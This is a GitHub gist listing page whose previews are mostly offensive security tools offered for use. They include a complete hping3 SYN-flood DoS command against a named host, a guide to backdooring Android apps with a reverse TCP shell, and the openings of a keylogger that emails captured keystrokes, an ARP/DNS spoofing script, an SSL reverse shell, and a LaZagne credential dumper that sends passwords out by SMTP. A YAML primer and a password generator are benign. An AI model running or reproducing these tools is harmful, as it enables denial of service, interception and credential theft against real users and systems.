Skip to content

Instantly share code, notes, and snippets.

View davidlares's full-sized avatar
🎯
Focusing

David E Lares S davidlares

🎯
Focusing
View GitHub Profile
@davidlares
davidlares / dos.md
Created June 17, 2021 03:01
DoS attack with hping3

DoS Attack with Hping3

Run the command: hping3 --flood -S -V --rand-source http://stv.com

Where:

  1. --flood send packets as fast as possible
  2. -S (Syn packet): legit TCP packet connection
  3. -V verbose mode
  4. --rand-source randomize the IP source address, like it's requested from different systems (sort of DDoS)
@davidlares
davidlares / ANDROID.md
Last active April 21, 2024 17:53
Backdooring Android Apps with FatRat and Metasploit Framework

Backdooring Android Apps with FatRat and Metasploit Framework

We have to set a point, mobile applications are a HUGE market today. Many entrepreneurs left behind web-based experiences for building disruptive mobile solutions. The battle of smart-phones remains today between IOs and Android. Both have pros and cons, they are designed and configured with default security settings that maybe not the ideal for non-experienced people.

This writing demonstrates a practical and simple example on how to generate a Reverse TCP back-door on an existing APK file.

This is a pretty common "Social Engineering Attack", and it's focused on generating a reverse TCP connection, where the attacker easily can generate shell access to your Android phone in the time you are using the infected application and do some harmful stuff or access your private information without any concern.

And when a mean “Social Engineering Attacks” is because the way it propagates, I’ll explain in a bit how are the

@davidlares
davidlares / rawInjection.py
Last active January 19, 2024 20:46
Raw Sockets with Python: Sniffing and network packet injections.
#!/usr/bin/python
import socket
import struct
# creating a rawSocket for communications
# PF_SOCKET (packet interface), SOCK_RAW (Raw socket) - htons (protocol) 0x08000 = IP Protocol
rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
# deciding interface - packet sniffing and then injection
@davidlares
davidlares / 0-YAML.md
Last active October 6, 2023 13:56
A basic YAML syntax review concept and implementation.

A basic YAML syntax review concepts

In a short note, YAML files represent configuration data in most of the times. According to Wikipedia: YAML "is a human-friendly data serialization standard for all programming languages". Basically we can say that is similar to XML and JSON notation and it is pretty used on DevOps activities for IaC configurations and for sharing data across multiple applications.

Features

  1. key-Value Pair: there's nothing more to say to this. You have a "Key" that acts as an Identification for value itself.

    Here's an example:

@davidlares
davidlares / keylogs.py
Last active September 11, 2023 17:58
An outdated python Keylogger
from pynput import keyboard
import threading
import smtplib
class KeyLogger:
def __init__(self, time_interval, email, username, password):
self.log = "KeyLogger started"
self.interval = time_interval
self.username = username
@davidlares
davidlares / exec.sql
Last active August 31, 2023 02:27
PoC of Powershell and Batch (.bat) scripts for A2 softway (SQLserver 64-bit) [Untested]
DROP TABLE [dbo].[Sinventario];
@davidlares
davidlares / arp.py
Last active June 29, 2023 06:43
MITM ARP/DNS Spoof with Scapy
#!/usr/bin/python
from scapy.all import *
import threading
import argparse
import pdb
import sys
import os
class ARPPoisoning(threading.Thread):
@davidlares
davidlares / password.sh
Created January 20, 2021 00:34
Password generator bash script
#!/bin/bash
# getopts -> parameter behavioral options
# this script generates a random password - -l (length), -s (character)
usage() {
echo "Usage: ${0} [-vs] [-l LENGTH]" >%2
echo "Generate a random password"
echo "-l LENGTH specify the password length"
echo "-s Append a special character to the password"
@davidlares
davidlares / ssl_shell.py
Created March 13, 2020 19:24
A simple Reverse shell script with SSL encryption (Wrapping sockets)
#!/usr/bin/python
'''
The counterpart is done by: ncat --ssl -vlp 8888
'''
import os
import socket
import ssl # for socket wrapper
@davidlares
davidlares / password.py
Created February 2, 2023 00:20
Running LaZagne programatically /w Python
import subprocess, smtplib, os, tempfile, requests
def send_email(email, username, password, message):
# instance
server = smtplib.SMTP("smtp.mailtrap.io", 587)
server.starttls()
server.login(username, password) # login
server.sendmail(email, email, message) # sending message
server.quit()